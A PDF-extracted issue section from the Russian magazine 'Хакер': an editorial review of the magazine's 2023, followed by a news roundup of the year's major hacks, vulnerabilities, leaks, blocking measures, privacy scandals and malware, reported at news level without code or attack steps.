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На носу Новый год — вре мя, ког да при нято
под водить ито ги, добивать недоби тые про- 
екты и плав но ска тывать ся в десятид невный
запой. А это зна чит, что и нам тоже пора 

 под вести ито ги года. Для «Хакера»
2023 год был неп ростым, но очень важ ным,
так что рас ска зать есть о чем.

на- 
катить

В прош лом году из «Хакера» ушел выпус кающий редак тор Алек сей Глаз ков.
Обя зан ности Леши были мно гочис ленны ми и раз нооб разны ми. Сре ди про- 
чего в их спи сок вхо дила верс тка PDF — замыс ловатый про цесс, осно ван ный
на работе нес коль ких кап ризных и не впол не пред ска зуемых скрип тов. Воз ня
с ними дос талась мне — вмес те с мно гоме сяч ным отста вани ем по выпус ку
номеров в PDF. Впро чем, я не зря шаманил над верс ткой весь январь: про- 
цесс уда лось опти мизи ровать, а отста вание — сок ратить.

Тем вре менем на сай те начала выходить серия ста тей Андрея Жукова,
извес тно го читате лям как , пос вящен ная физичес ким хакам — от 

 до конс тру иро вания нас тояще го 
, который мож но отпра вить зах ватывать Wi-Fi тес тиру емо го пред при ятия.

Все го мы опуб ликова ли 12 матери алов, и это, на мой взгляд, одна из силь- 
нейших серий за всю исто рию жур нала. Потом они выш ли в виде кни ги «

» — автор под робно
 о том, как она готови лась.

s0i37 сня тия
дан ных с витой пары ха кер ско го квад рокоп- 
тера

Фи- 
зичес кие ата ки с исполь зовани ем хакер ских устрой ств
на писал

В мар те мы сме нили дос тавщи ка поч товых рас сылок — вмес то Unisender ими
занялась ком пания , а с нашей сто роны повели телем писем ста ла
Маша Нефёдо ва — в допол нение к работе над новос тями. Ты навер няка
заметил новые попапы на сай те, обла горо жен ные шаб лоны писем и новые
типы самих рас сылок. Все это резуль тат боль шой работы, которая, впро чем,
еще про дол жает ся.

enKod

В июне в качес тве темы номера мы выб рали кон ферен цию Positive Hack
Days. Хоть PHD и про ходит каж дый год, на этот раз было неч то совер шенно
исклю читель ное по мас шта бам: «Позити вы» арен довали под мероп риятие
парк Горь кого и устро или нас тоящий кибер фести валь. От «Хакера» там был
не толь ко стенд, но и двое репор теров, которые порадо вали нас .от четами

В июле выш ла важ ная для меня тема номера — про Flipper. На мой взгляд,
под держать инте рес ный про ект, соз данный сооте чес твен никами, — наша
пря мая обя зан ность, а за судь бой «Флип пера» я сле жу дав но и прис таль но.
С Пашей Жов нером мы ког да-то  при выходе про екта на Kickstarter,
и логич но было бы сде лать что-то еще, ког да устрой ства наконец матери али- 
зова лись. Опуб ликовав , мы обна ружи ли, что всё новые и новые
авто ры вдруг пред лага ют что-то написать про Flipper. Так появи лись статьи
про ,  и новое 

, которое взял не кто иной, как Даня Шепова лов.

об щались

пер вый обзор

аль тер натив ные про шив ки внеш ние модули ин тервью с Жов- 
нером

Из дру гих матери алов самыми чита емы ми в этом году ста ли вот эти три:
1. Это он, деанон! Про бива ем поль зовате лей Telegram по откры тым источни- 

кам
2. VPN для дру зей. Раз ворачи ваем свой VPN-сер вер с опла той через

Telegram
3. Что пря чет пин гвин. Боль шой гид по сбо ру улик в Linux

К сожале нию, все статьи о VPN и дру гих методах обхо да бло киро вок в сле- 
дующем году, ско рее все го, при дет ся убрать с сай та, что бы соб люсти 

.
но вый

закон
Глав ным же событи ем года, безус ловно, стал выход бумаж ного спец- 

выпус ка «Хакера». Мно го лет читате ли про сили нас сно ва выпус тить жур нал
в бумаж ном фор мате, и толь ко сей час звез ды сош лись. Мы устро или экспе- 
римент: соб рали сбор ник из ста тей за три года, добави ли ком мента рии-вос- 
помина ния авто ров и редак торов и выпус тили на бумаге. Спа сибо всем, кто
под держал и сде лал пред заказ! Теперь у нас есть все шан сы зарели зить
еще один спец выпуск в 2024 году. Пос тара емся учесть все пожела ния и сде- 
лать его еще луч ше.

А еще в этом году поч ти все кар тинки-заход ники к стать ям «Хакера» рисова ла
ней росеть, рав но как и . Если в 2022 году я сам 
с DALL-E 2 и резуль тат был кри вень ким, то теперь про цесс доверен нашему
бильд-редак тору . Ког да ней росеть косячит, yambuto вруч ную
доводит кар тинку до ума. DALL-E 2 мы, кста ти, сме нили на Midjourney. Впро- 
чем, новая вер сия DALL-E сно ва пош ла в ход: она, к при меру, помога ла
иллюс три ровать вышед шие вче ра .

об ложки номеров раз вле кал ся

yambuto

но вос тные ито ги года

Ва риан ты захода к статье «Кро кок ряк», которые не пош ли в про дак шен,
но повесе лили редак цию

Вот, вро де бы, и всё, что занима ло редак цию пос ледний год, не давало нам
спать и тре бова ло тру довых под вигов. В новом году обя затель но при дума ем
еще что-нибудь веселое. Если хочешь помочь нам в этом, 

 и пос вяти праз дни ки написа нию статьи в «Хакер» вмес то алко голь- 
ной комы!

всту пай в ряды
авто ров

На этом раз решите откла нять ся и вплот ную занять ся встре чей нового,
уди витель ного и еще более неп ред ска зуемо го 2024 года. Чего желаю и вам,
дорогие читате ли. С нас тупа ющим!
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Год под ходит к кон цу, некото рые уже начина ют резать
салаты, а зна чит, приш ло вре мя огля нуть ся назад и вспом- 
нить самые важ ные, инте рес ные и забав ные события,
которы ми он нам запом нится. По тра диции мы сос тавили
для тебя под борку наибо лее ярких взло мов, атак, уяз вимос- 
тей, фей лов и дру гих исто рий ухо дяще го 2023 года. Будет
инте рес но, пог нали!

АТАКА ГОДА

ЦЕПОЧКИ ПОСТАВОК

О все воз можных кибера таках мы прак тичес ки каж дый день рас ска зыва ем
в «Хакере», одна ко рядовые взло мы ред ко ока зыва ются столь же раз- 
рушитель ными, как ата ки на цепоч ку пос тавок, про воци рующие нас тоящий
эффект домино.

В 2023 году инци ден тов такого типа и мас шта ба про изош ло сра зу нес-
коль ко. К при меру, от ата ки на цепоч ку пос тавок пос тра дал 1% ком паний —
кли ентов , круп ного пос тавщи ка сис тем управле ния дос тупом и иден- 
тифика цией. В чис ле жертв ока зались даже такие гиган ты, как ,
спе циали зиру ющаяся на управле нии иден тифика цией,  и менед жер
паролей .

Okta
BeyondTrust

Cloudare
1Password

В дру гом слу чае, ког да пос тра дала ком пания , рас сле дова ние ата ки
на цепоч ку пос тавок показа ло, что инци дент был выз ван дру гой ком про мета- 
цией цепоч ки пос тавок.

3CX

Так, сна чала хакеры взло мали ком панию Trading Technologies, занима- 
ющуюся авто мати заци ей бир жевой тор говли, и рас простра нили тро яни зиро- 
ван ные вер сии ее соф та. Этой мал варью слу чай но ока зал ся заражен компь- 
ютер сот рудни ка 3CX, а затем дес ктоп ный кли ент 3CXDesktopApp и исполь- 
зующие его кли енты ком пании. А в спис ке кли ентов 3XC чис лятся American
Express, Coca-Cola, McDonald’s, BMW, Honda, Air France, NHS, Toyota,
Mercedes-Benz, IKEA.

При этом под дер жка 3CX дол го заверя ла кли ентов, которые жалова лись
на пре дуп режде ния от анти вирус ных про дук тов, что это прос то лож ные сра- 
баты вания.

Äðóãèå ãðîìêèå âçëîìû 2023 ãîäà
1. 

. Один из круп ней ших в мире хос теров и регис тра торов домен ных имен
рас ска зал о череде успешных атак на свою инфраструк туру.

Ха керы взло мали GoDaddy и оста вались в сис темах ком пании нес коль ко
лет

2. 
. Как объ яснил Бутерин, он пос тра дал от ата ки

на под мену SIM-кар ты (SIM swap).

Ак каунт Витали ка Бутери на в Twitter взло мали. За 20 минут хакеры похити- 
ли 691 тысячу дол ларов

3. . Инци дент пов лиял
на работу рын ка каз начей ских обли гаций США и выз вал проб лемы с кли- 
рин гом.

Круп ней ший банк Китая стал жер твой шиф роваль щика

4. 
. Все это вре мя хакеры ворова ли дан ные из кор поратив ной сети NXP,

которая про изво дит полуп ровод никовые ком понен ты для смар тфо нов,
смарт-карт и элек тро моби лей.

Хак груп па Chimera про вела боль ше двух с полови ной лет в сети ком пании
NXP

5. . Хакеры ском- 
про мети рова ли тай вань скую ком панию CyberLink, раз рабаты вающую
муль тимедий ное ПО, и зарази ли тро яном один из ее уста нов щиков.

Lazarus взло мала CyberLink ради ата ки на цепоч ку пос тавок

Сог ласно ста тис тике ком пании Zimperium, в этом году появи лось
 новых семей ств бан ков ских тро янов для Android, которые

в совокуп ности ата кова ли  бан ков ских, финан совых и тор- 
говых при ложе ний в  стра не мира.
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УЯЗВИМОСТЬ ГОДА

КОРПОРАТИВНЫЕ
ПРОДУКТЫ

Хо тя о мас штаб ных ата ках и цепоч ке пос тавок мы уже говори ли выше, мно- 
гочис ленные уяз вимос ти в таких кор поратив ных про дук тах, как 
(решение для управле ния переда чей фай лов меж ду пар тне рами и кли ента ми)
и  (еще один инс тру мент для переда чи фай лов), тоже мож но
отнести к подоб ным проб лемам. Эти баги ста ли не толь ко источни ком голов- 
ной боли для сис темных адми нис тра торов, но и мощ ным ору жием в руках
хакеров. В этом году опас ные уяз вимос ти и мас совые взло мы идут рука
об руку, а «самым сла бым зве ном» во всем этом хаосе опре делен но ста- 
новит ся раз нооб разный кор поратив ный софт.

MOVEit Transfer

GoAnywhere MFT

В резуль тате атак на уяз вимос ти в MOVEit Transfer пос тра дали  
, вклю чая Sony, IBM, Siemens Energy, Schneider Electric, British

Airways, сот ни обра зова тель ных учрежде ний и око ло 85 мил лионов человек
по пос ледним под сче там.

ты сячи ор- 
ганиза ций

Ко личес тво ком паний, пос тра дав ших из-за проб лем в GoAnywhere MFT,
тоже исчисля ется сот нями.

Еще одна замет ная череда взло мов про изош ла из-за 0-day-бага в Cisco
IOS XE. Из-за этой уяз вимос ти ока зались  более 40 тысяч уяз- 
вимых устрой ств, и про пос ледс твия этих хаков мы навер няка еще услы шим.

за бэк дорены

Äðóãèå óãðîçû 2023 ãîäà
1. . Проб лемы поз- 

воля ют аутен тифици рован ному локаль ному ата кующе му переза писать
защищен ные дан ные в TPM, а так же выпол нить про изволь ный код.

Уяз вимос ти в TPM 2.0 угро жают мил лиар дам устрой ств

2. 
. Замазы ваешь номер бан ков ской кар ты на фото? Экс- 

пло ит для это го бага дает воз можность вос ста новить ори гинал изоб- 
ражения и сде лать номер видимым.

Проб лема aCropalypse поз воля ет вос ста новить ори гинал отре дак тирован- 
ного изоб ражения

3. . Уче- 
ным уда лось рас шифро вать ради осиг налы дро нов DJI и декоди ровать
исполь зуемый ими ради опро токол DroneID. Ока залось, каж дый дрон DJI
переда ет по про токо лу DroneID не толь ко свои GPS-коор динаты и уни- 
каль ный иден тифика тор дро на, но и GPS-коор динаты сво его опе рато ра.

Дро ны DJI рас кры вают информа цию о мес тонахож дении их пилота

4. .
Новая side-channel-ата ка может при вес ти к утеч ке дан ных и работа ет про- 
тив прак тичес ки любых сов ремен ных CPU.

Сов ремен ные про цес соры уяз вимы перед проб лемой Collide+Power

5. 
. Раз работ чики менед жера паролей счи тают, что эта уяз- 

вимость не так уж опас на, но иссле дова тели с этим не сог ласны.

Уяз вимость в KeePass поз воля ет похитить все пароли поль зовате ля в виде
прос того тек ста

Спе циалис ты Amazon, Cloudare и Google пре дуп редили о 0-day-
проб леме , которую зло умыш ленни ки исполь- 

зуют для DDoS — и ста вят новые рекор ды. Мощ ность атак
на обла ко Google дос тигла  зап росов в секун ду,

а ата ки на AWS и Cloudare пре выси ли  и 
 зап росов в секун ду.

HTTP/2 Rapid Reset

398 мил лионов
155 мил лионов 201 мил- 

лион

УТЕЧКА ГОДА

MICROSOFT И КЛЮЧ
MSA

Пе чаль но, но факт — уди вить кого-либо утеч кой дан ных в наши дни уже прак- 
тичес ки невоз можно. Уста ешь удив лять ся, ког да сегод ня в сеть утек ли 

 или , а зав тра на хак форуме сли ли генети чес кие дан- 
ные шес ти мил лионов поль зовате лей  или информа цию о 360 мил- 
лионах кли ентов сер виса .

ис- 
ходни ки Яндекса Reddit

23andMe
Super VPN

Но некото рые утеч ки могут нанес ти более серь езный ущерб, чем пуб- 
ликация в откры том дос тупе оче ред ной БД. Одной из таких уте чек стал слив
крип тогра фичес кого клю ча MSA (Microsoft account consumer signing key),
который обыч но исполь зует ся для под писания токенов.

Пи кан тнос ти ситу ации при дает тот факт, что утеч ку допус тила сама 
. И потом этот ключ исполь зовали китай ские хакеры из груп- 

пиров ки Storm-0558, взло мав шие с его помощью пра витель ствен ные
учрежде ния в США и стра нах Запад ной Евро пы.

ком- 
пания Microsoft

Обыч но такие клю чи доверя ют толь ко про верен ным сот рудни кам, про шед- 
шим про вер ку на бла гона деж ность, и лишь в том слу чае, если они исполь зуют
выделен ные рабочие стан ции, защищен ные мно гофак торной аутен тифика- 
цией и исполь зовани ем аппа рат ных токенов безопас ности.

Но, как показа ло рас сле дова ние инци ден та, хакеры взло мали кор поратив- 
ную учет ную запись неназ ванно го инже нера Microsoft и слу чай но наш ли ключ
MSA в ава рий ном дам пе Windows (crash dump), куда тот попал из-за бага.
Ни сам ава рий ный дамп, ни ключ в нем вооб ще не дол жны были находить ся
там, где их обна ружи ли прес тупни ки.

Äðóãèå êðóïíûå óòå÷êè 2023 ãîäà
1. 

. Информа ция поль зовате лей ока залась соб рана не через уяз- 
вимость в API, как изна чаль но полага ли ИБ-спе циалис ты.

Дан ные 200 мил лионов поль зовате лей Twitter опуб ликова ны в откры том
дос тупе

2. 
. Ано ним ный источник передал Enlace Hacktivista софт и докумен- 

тацию ком паний, которые пре дос тавля ют пра воох ранитель ным орга нам
раз ных стран инс тру мен ты для взло ма мобиль ных устрой ств и про веде ния
про чих кибер кри мина лис тичес ких опе раций.

Хак тивис ты обна родо вали ПО и докумен тацию ком паний Cellebrite
и MSAB

3. 
. БД RaidForums содер жит огромное количес тво дан ных,

которые заин тересу ют прес тупни ков, иссле дова телей и, веро ятно, пра- 
воох ранитель ные орга ны.

Ин форма цию 478 тысяч поль зовате лей RaidForums выложи ли на новом
хакер ском сай те

4. . Утеч ка
про изош ла пос ле того, как два инсай дера подели лись информа цией
из внут ренних сис тем ком пании с немец ким изда нием Handelsblatt.

Tesla обви нила инсай деров в сли ве дан ных 75 тысяч сот рудни ков

5. 
. В общей слож ности были обна родо ваны 51 977 405 уни каль ных

номеров телефо нов и 3 298 456 уни каль ных email-адре сов.

Спе циалис ты обна ружи ли две утеч ки дан ных поль зовате лей «Сбер Спа- 
сибо»

В Kaspersky Digital Footprint Intelligence под счи тали, что
в 2023 году зафик сирова но  слу чая пуб ликации зна чимых БД

ком паний.
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По срав нению с 2022 годом объ явле ний об утеч ках ста ло мень- 
ше, зато объ ем опуб ликован ных дан ных вырос на .33%

ИССЛЕДОВАНИЕ ГОДА

TETRA:BURST

Уче ные, ком пании и незави симые иссле дова тели регуляр но пуб лику ют объ- 
емные (око ло)науч ные тру ды, пос вящен ные обна руже нию новых век торов
атак и фун дамен таль ным уяз вимос тям в тех нологи ях и про дук тах. Но далеко
не всег да пуб ликации подоб ных иссле дова тель ских работ обо рачи вают ся
серь езны ми пос ледс тви ями и общес твен ным резонан сом, как это про изош ло
с .TETRA:BURST

Эк спер ты из гол ланд ской ком пании Midnight Blue выяви ли пять серь езных
уяз вимос тей и бэк дор в стан дарте тран кинго вой ради освя зи TETRA (Terrestrial
Trunked Radio), который исполь зуют пра воох ранитель ные орга ны, воен ные
и опе рато ры кри тичес кой инфраструк туры по все му миру. Баги получи ли
общее наз вание TETRA:BURST и поз воляли даже рас шифро вывать дан ные
в режиме реаль ного вре мени.

Пос ле пуб ликации этой науч ной работы и выс тупле ния иссле дова телей
на кон ферен ции Black Hat проб лемы безопас ности TETRA ста ли оче вид ны
всем, а сек ретность самих алго рит мов TETRA выз вала немалое воз мущение
в ИБ-сооб щес тве. В ито ге нес коль ко месяцев спус тя Евро пей ский инсти тут
телеком муника цион ных стан дартов (ETSI) при нял решение, что набор проп- 
риетар ных алго рит мов шиф рования, исполь зуемых в TETRA, дол жен стать
дос тоянием общес твен ности и отны не  для ака деми чес ких
иссле дова ний.

бу дет открыт

Äðóãèå èíòåðåñíûå èññëåäîâàíèÿ 2023 ãîäà
1. .

Для реали зации таких атак авто угон щики получа ют дос туп к CAN-шине
авто через про вод ку в фарах, а устрой ства для взло ма мас киру ют
под Bluetooth-колон ки JBL (на слу чай, если у полиции или про хожих воз- 
никнут какие-то подоз рения).

Угон авто воз можен через вскры тие фар и под клю чение к CAN-шине

2. . Экспер ты
ком пании Unciphered утвер жда ют, что раз работ чикам Trezor извес тно
об уяз вимос ти в чипе STM32 и модели Trezor T, но ком пания не дела ет
ничего, что бы ее устра нить.

Ис сле дова тели показа ли взлом аппа рат ного кошель ка Trezor T

3. . ИБ-спе циалист
показал спо соб выяв ления реаль ных IP-адре сов сер веров Tor. Иссле дова- 
тель исполь зовал для это го ETag (entity tag) в заголов ке HTTP-отве тов.

Де ано ними зиро вать Tor-сер веры мож но через ETag

4. . Иссле дова тели
раз работа ли метод джей лбрей ка инфо тей нмент-сис тем на базе про цес- 
соров AMD. Такие сис темы исполь зуют ся во всех пос ледних моделях авто- 
моби лей Tesla.

Джей лбрейк Tesla раз бло киру ет плат ные фун кции авто

5. 
. Чет веро под рос тков рас ска зали на DEF CON о том,

как взло мать тран спортные кар ты CharlieCard.

Под рос тки хак нули тран спортные кар ты мет ро Бос тона, вдох новив шись
ата кой 2008 года

Го ды идут, но некото рые вещи не меня ются. Спи сок самых
популяр ных паролей все еще воз глав ляют , 

и , для взло ма которых тре бует ся .
123456 admin

12345678 мень ше секун ды
Не менее час то встре чает ся пароль , на взлом которо го

тре бует ся уже целых !
UNKNOWN

17 минут

БЛОКИРОВКА ГОДА

VPN И ИНФОРМАЦИЯ
ОБ ОБХОДЕ

БЛОКИРОВОК

Для рос сий ских поль зовате лей этот год опре делен но про шел под зна ком
бло киров ки отдель ных VPN-сер висов и целых про токо лов. С самого начала
года Рос комнад зор  о том, что исполь зование VPN небезо пас- 
но, и  ком пани ям отка зать ся от VPN на зарубеж ных сер верах.

пре дуп реждал
ре комен довал

За тем поль зовате ли со всех угол ков РФ ста ли мас сово жаловать ся
на проб лемы, то и дело воз ника ющие в работе  и .OpenVPN Wireguard

А под конец года СМИ и вов се сооб щили, что Рос комнад зор впер вые
вклю чил про токол  в спи сок VPN-сер висов, под пада ющих
под бло киров ку. Для бло киров ки про токо ла ведомс тво намере но исполь- 
зовать тех ничес кие средс тва про тиво дей ствия угро зам на транс гра нич ных
соеди нени ях.

Shadowsocks

Так же не сто ит забывать о том, что теперь Рос комнад зор надели ли пол- 
номочи ями вно сить в Еди ный реестр зап рещен ной информа ции сай ты,
которые содер жат информа цию об обхо де бло киро вок. В РКН уже 

, которые будут исполь зовать ся для оцен ки таких сай тов.
пе речис- 

лили кри терии

Äðóãèå íîâîñòè áëîêèðîâîê 2023 ãîäà
1. .

Более 20 инс тру мен тов, пред назна чен ных для обхо да «Велико го китай- 
ско го фай рво ла» и дру гих бло киро вок, про пали с GitHub. Веро ятно, китай- 
ско му пра витель ству уда лось деано ними зиро вать раз работ чиков этих ути- 
лит и ока зать на них дав ление.

Ки тай ские инс тру мен ты для обхо да бло киро вок исче зают с GitHub

2. 
. Све дения о сай тах ком паний, которые «не выпол няют свои обя- 

зан ности по закону о „при зем лении“», теперь нель зя показы вать в резуль- 
татах поис ка.

Рос комнад зор зап ретил поис ковикам показы вать сай ты ряда инос тран ных
хос тингов

3. . Мес сен джер будет под- 
держи вать под клю чение через прок си-сер веры, на тот слу чай, если пра- 
витель ство бло киру ет сер вис в стра не поль зовате ля или там наб люда ются
отклю чения интерне та.

WhatsApp запус тил под дер жку прок си-сер веров

4. 
. Ожи дает ся, что опе рато ры бес про вод ных сетей дол жны будут «пре- 

дот вра щать и про тивос тоять» исполь зованию сво его обо рудо вания
для рас простра нения фаль шивых новос тей и незакон ного кон тента, сра зу
сооб щая о таких дей стви ях влас тям.

Ки тай пла ниру ет огра ничить исполь зование Bluetooth и Wi-Fi внут ри стра- 
ны

5. 
. Необ ходимость исполь зования авто мати зиро ван ной

сис темы поис ка зап рещен ного кон тента в ведомс тве объ ясни ли рас тущим
потоком зап рещен ных матери алов в интерне те.

Рос комнад зор запус тил авто мати чес кую сис тему поис ка зап рещен ного
кон тента «Оку лус»

Ана лити ки Recorded Future сооб щили, что с 2017 года северо- 
корей ские груп пиров ки ( , ,  и дру гие)

успешно похити ли более  дол ларов в крип товалю те
и ответс твен ны за  всех крип тоог рабле ний 2023 года.

Kimsuky Lazarus Andariel
3 мил лиар дов

44%

НАРУШИТЕЛЬ ПРИВАТНОСТИ ГОДА

GOOGLE

В этой номина ции абсо лют ным лидером ста ла быв шая «кор порация доб ра»,
то есть Google. Что сов сем неуди витель но, ведь сов ремен ный биз нес этих
ребят в основном стро ится вок руг наших с тобой дан ных.

Нап ример, осенью Google  новую рек ламную плат- 
форму Privacy Sandbox, осно ван ную на инте ресах поль зовате лей. Ком пания
стре мит ся пол ностью уйти от сто рон них тре кин говых cookie и перело жить
задачу отсле жива ния любых инте ресов поль зовате ля на сам бра узер Chrome.

на чала раз верты вать

Иро нич но, но поч ти одновре мен но с этим ком панию  вып- 
латить 93 мил лиона дол ларов, так как аме рикан ские влас ти уста нови ли, что
Google «исполь зовала обманные прак тики, свя зан ные со сбо ром, хра нени ем
и исполь зовани ем дан ных о мес тополо жении поль зовате лей устрой ств
под управле нием Android».

обя зали

Так же в этом году Google активно   бло киров щиков
рек ламы на YouTube.

пре пятс тво вала ра боте

При этом раз работ чики бло киров щиков приз нают, что вско ре ситу ация
осложнит ся еще боль ше, так как в 2024 году в силу всту пит 

, который опре деля ет воз можнос ти и огра ниче ния для рас- 
ширений. Он не толь ко соз даст боль шие проб лемы для работы мно жес тва
рас ширений, но и замет но замед лит их обновле ния. А ско рость реаги рова- 
ния на изме нения очень важ на для работы бло киров щиков.

скан даль ный
Manifest v3

Еще ста ло извес тно, что в Google кипит работа над ,
который поз волит сай там бло киро вать любые кли ент ские при ложе ния, изме- 
няющие их код. Эта раз работ ка уже выз вала шквал кри тики и получи ла проз- 
вище «DRM для интерне та».

Web Integrity API

По мимо это го, Google  на уда лении ссы лок на кон тент, наруша- 
ющий DMCA («Закон об автор ском пра ве в циф ровую эпо ху»), из лич ных кол- 
лекций поль зовате лей. В ито ге экспер ты опа сают ся, что в будущем Google
может начать при менять подоб ную «модера цию» даже к зак ладкам поль- 
зовате лей Chrome или сво ему DNS-резол веру.

пой мали

Äðóãèå íîâîñòè ïðèâàòíîñòè 2023 ãîäà
1. . Пос ле

утеч ки исходных кодов ком пании приш лось объ яснять, что алго ритм, пос- 
редс твом которо го мик рофон вклю чает ся без упо мина ния Али сы, работа- 
ет толь ко в бета-вер сии, тес тиру емой самими сот рудни ками ком пании.

В Яндексе заяви ли, что Али са не под слу шива ет поль зовате лей

2. . Обновле- 
ние KB5021751 собира ет дан ные диаг ности ки и телемет рии в сис теме,
если вла делец ПК все еще исполь зует уста рев шую вер сию Office (Office
2013, Office 2010 и Office 2007).

Microsoft ска ниру ет компь юте ры в поис ках ста рых вер сий Office

3. 
. Пред ста вите ли TikTok приз нались, что отсле жива ли мес тополо жение

жур налис тки, пыта ясь выявить источник утеч ки информа ции внут ри ком- 
пании.

ByteDance сле дила за жур налис ткой Financial Times через акка унт ее кош- 
ки

4. 
. Пра витель ства по все му миру зап рашива ют у Apple и Google дан- 

ные о поль зователь ских push-уве дом лени ях, что бы сле дить за кон крет- 
ными устрой ства ми и людь ми.

Влас ти шпи онят за поль зовате лями Apple и Google через push-уве дом- 
ления

5. 
. Прак тичес ки все авто собира ют огромные мас сивы лич ных

дан ных о поль зовате лях, а так же тре буют, что бы люди раз решали
собирать и про давать такие све дения о себе, как дан ные об инва лид- 
ности, генети чес кая информа ция, шаб лоны лиц и даже дан ные о сек суаль- 
ной активнос ти.

Mozilla наз вала сов ремен ные авто «кош маром» с точ ки зре ния кон фиден- 
циаль нос ти

Сум марно в 2023 году было обна руже но  уяз вимос тей (на
 CVE боль ше, чем в 2022 году). Одна ко из них пред став ляли

реаль ную угро зу и исполь зовались зло умыш ленни ками 
.

26 447
1500

мень- 
ше 1%

МАЛВАРЬ ГОДА

«ОПЕРАЦИЯ
ТРИАНГУЛЯЦИЯ»
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Са мым опас ным вре доно сом про шед шего года с лег костью мож но было бы
наз вать любой активный шиф роваль щик, потому что вымога тель ские ата ки
дей стви тель но пред став ляют серь езную угро зу для орга низа ций и поль- 
зовате лей по все му миру. Дос таточ но вспом нить   на аме рикан- 
ские казино и курор ты или , нарушив шую работу круп ней- 
шего пор та Япо нии.

се рию атак
мас штаб ную ата ку

Од нако, на наш взгляд, одним из наибо лее инте рес ных событий 2023 года
ста ло обна руже ние шпи онской кам пании « »,
о которой сооб щили ФСБ и ФСО Рос сии, а затем экспер ты «Лабора тории
Кас пер ско го».

Опе рация „Три ангу ляция“

Эту кам панию, начав шуюся еще в 2019 году, наз вали «раз ведыва тель ной
акци ей аме рикан ских спец служб, про веден ной с исполь зовани ем мобиль ных
устрой ств фир мы Apple», а целью атак, по сло вам иссле дова телей, было
внед рение спай вари в iPhone сот рудни ков «Лабора тории Кас пер ско го» (как
топ-менед жмен та, так и руково дите лей сред него зве на).

Как ста ло извес тно поз же, в этих ата ках исполь зовалось ,
четыре из которых ока зались ранее неиз вес тны ми 0-day, и их спеш но испра- 
вила Apple. Одна из уяз вимос тей, свя зан ная с 

 в чипах Apple, так и оста лась для экспер тов загад кой.

пять уяз вимос тей

не доку мен тирован ной аппа- 
рат ной фун кци ей

Так же был опуб ликован раз верну тый ана лиз самой мал вари ,
написан ной на Objective-C. Вре донос заг ружал ся на устрой ства жертв пос ле
того, как ата кующие получа ли root-пра ва в резуль тате успешной экс плу ата ции
уяз вимос ти в ядре iOS.

TriangleDB

Äðóãèå âðåäîíîñû 2023 ãîäà
1. . По дан ным

ReliaQuest, на заг рузчи ки QakBot, SocGholish и Raspberry Robin при ходит- 
ся льви ная доля всех наб люда емых атак.

Все го три заг рузчи ка мал вари ответс твен ны за 80% атак

2. . Мал вари пот ребова- 
лось 4,5 минуты для шиф рования 220 тысяч фай лов на машине с 6-ядер- 
ным про цес сором.

Шиф роваль щик Rorschach наз ван самым быс трым

3. . Иссле дова- 
тели опа сают ся, что утеч ка исходно го кода поз волит зло умыш ленни кам
ком биниро вать бут кит с новыми уяз вимос тями, как извес тны ми, так
и неиз вес тны ми.

Ис ходни ки UEFI-бут кита BlackLotus опуб ликова ны на GitHub

4. .
Легаль ный C2-фрей мворк Sliver набира ет популяр ность сре ди хакеров,
ста новясь опен сор сной аль тер нативой Cobalt Strike и Metasploit.

Прес тупни ки все чаще исполь зуют фрей мворк Sliver в сво их опе раци ях

5. 
. В рам ках этой кам пании хакеры могут перех ватывать элек- 

трон ную поч ту жертв и похищать фай лы.

Hiatus ата кует роуте ры биз нес-клас са, прев ращая их в устрой ства
для шпи она жа

Круп ней шим крип товалют ным ограбле нием 2023 года ста ла ата- 
ка на одно ран говую тран закци онную сеть , пред- 
назна чен ную для мас шта биро вания и уско рения тран закций.

Хакеры похити ли у плат формы  дол ларов.

Mixin Network

200 мил лионов

ХАРДВЕРНЫЙ ВЗЛОМ ГОДА

УСТРОЙСТВА С
ЗАКЛАДКАМИ

В прош лые годы в этой номина ции мы рас смат ривали инте рес ные аппа рат- 
ные хаки, про веден ные ИБ-иссле дова теля ми, но в этом году приш ла пора
рас ска зать о железе, которое изна чаль но про дает ся взло ман ным!

Сра зу нес коль ко ком паний опуб ликова ли отче ты, пре дуп режда ющие
о том, что в онлай не и офлай не про дают ся мил лионы устрой ств, заражен ных
мал варью пря мо «из короб ки».

Нап ример, в про даже на Amazon наш ли , которые
ком плек туют ся слож ным вре доно сом CopyCat. Еще в 2017 году эта мал варь
зарази ла боль ше 14 мил лионов устрой ств по все му миру, получи ла root-дос- 
туп к вось ми мил лионам из них и за два месяца при нес ла сво им авто рам око- 
ло 1,5 мил лиона дол ларов США.

Android-прис тавки T95

Ана лити ки Human Security опуб ликова ли боль шое иссле дова ние, осно ван- 
ное на этой наход ке, и приш ли к выводу, что ана логич ные бэк доры содер жат
еще семь прис тавок и один план шет, а так же приз наки зараже ния демонс- 
три руют более 200 моделей дру гих Android-устрой ств.

Trend Micro, в свою оче редь, пре дуп редила, что мил лионы Android-смар- 
тфо нов, часов, телеви зоров и телеви зион ных прис тавок зараже ны 

, которая исполь зует ся для заг рузки допол нитель ных пей лоадов,
перех вата одно разо вых паролей из SMS, нас трой ки обратных прок си
на заражен ных устрой ствах, перех вата сеан сов в WhatsApp и так далее.

мал варью
Guerilla

Меж ду про чим, опи сан ное сно ва воз вра щает нас к началу этой статьи.
Ведь речь тоже идет о ком про мета ции цепоч ки пос тавок, хотя иссле дова тели
не зна ют, на каком имен но эта пе про исхо дит зараже ние девай сов. Нап- 
ример, воз можна ком про мета ция сто рон него ПО, про цес сов обновле ния
про шив ки, а так же прив лечение инсай деров на про изводс твах или в цепоч ке
рас простра нения про дук тов.

Äðóãèå «æåëåçíûå» íîâîñòè 2023 ãîäà
1. . Здесь мож но

най ти hex-редак торы, фаз зеры, уни вер саль ные пуль ты дис танци онно го
управле ния и мно гое дру гое.

У Flipper Zero появил ся собс твен ный магазин при ложе ний

2. 
. Устрой ство соз дано для исполь зования с уни вер саль ным

мес сен дже ром Beeper, объ еди нив шим в себе 15 при ложе ний от Twitter
до WhatsApp, и ори енти рова но на тех, кто хочет оста вать ся на свя зи, но не
хочет поль зовать ся обыч ным смар тфо ном.

Ос нователь Pebble пред ста вил Beepberry — Raspberry Pi с кла виату рой
от BlackBerry

3. . Про шив ка мно- 
гих материн ских плат содер жит Windows-бинар ник, который выпол няет ся
при заг рузке опе раци онной сис темы. Затем этот файл заг ружа ет и запус- 
кает дру гую полез ную наг рузку с сер веров Gigabyte.

Eclypsium: материн ские пла ты Gigabyte содер жат бэк дор

4. . Мож но
«раз бло киро вать» кор поратив ный или учеб ный Chromebook и уста нав- 
ливать на устрой ство любые при ложе ния.

Экс пло ит SH1MMER поз воля ет «джей лбрей кнуть» Chromebook

5. 
. Отры вок из филь ма «Чужой» в качес тве 4K HDR стран но вли яет

